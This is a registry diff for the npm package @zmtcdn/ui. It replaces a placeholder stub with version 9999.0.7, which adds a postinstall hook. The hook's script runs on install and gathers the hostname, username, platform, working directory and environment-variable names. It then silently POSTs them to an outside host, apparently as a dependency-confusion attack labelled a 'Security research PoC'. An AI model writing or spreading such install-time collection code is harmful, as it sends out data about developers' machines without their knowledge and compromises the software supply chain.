@zmtcdn/ui 0.0.0-stage → 9999.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "@zmtcdn/ui",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "9999.0.7",
4
+ "description": "Security research PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ }
9
+ }
package/postinstall.js ADDED
@@ -0,0 +1,22 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ const data = JSON.stringify({
5
+ hostname: os.hostname(),
6
+ platform: os.platform(),
7
+ user: os.userInfo().username,
8
+ cwd: process.cwd(),
9
+ env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data
10
+ time: new Date().toISOString()
11
+ });
12
+
13
+ const url = new URL('https://www.hinny.shop/api');
14
+ const req = https.request({
15
+ hostname: url.hostname,
16
+ path: url.pathname,
17
+ method: 'POST',
18
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
19
+ }, () => {});
20
+ req.on('error', () => {});
21
+ req.write(data);
22
+ req.end();
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.